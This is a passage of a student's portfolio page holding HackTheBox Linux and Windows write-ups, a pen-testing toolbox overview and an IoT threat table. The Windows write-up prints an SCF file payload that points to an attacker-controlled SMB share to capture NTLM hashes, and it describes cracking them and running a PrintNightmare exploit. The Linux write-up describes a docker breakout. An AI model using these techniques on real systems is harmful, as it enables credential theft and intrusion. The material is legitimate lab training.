SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> 